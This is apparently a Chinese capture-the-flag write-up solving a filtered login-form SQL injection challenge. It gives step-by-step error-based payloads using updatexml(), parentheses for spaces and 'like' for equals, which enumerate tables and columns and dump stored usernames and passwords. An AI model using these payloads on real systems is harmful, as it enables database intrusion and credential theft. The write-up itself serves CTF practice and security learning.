打开题目:
随便输入一个用户名密码,提示密码错误,但是输入1' union select 1,2,3#,显示的是不同的语句
经检查,发现空格被过滤了,所以我们需要用括号来代替空格
而且由于union被过滤了,所以想到了updataxml函数,具体可参考这篇文章
等号 " = " 也被过滤了,所以考虑用like替代,先查询表1'or(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),'~'),1))#
继续查询列名,1'or(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),'~'),1))#
查询数据1'or(updatexml(1,concat('~',(select(group_concat(username,'~',password))from(H4rDsq1)),'~'),1))#
可是这里可能显示长度有限,所以flag并未显示全
right()语句可以从右往左查
继续查询右部分1'or(updatexml(1,concat('~',(select(group_concat((right(password,20))))from(H4rDsq1)),'~'),1))#
拼接得出flag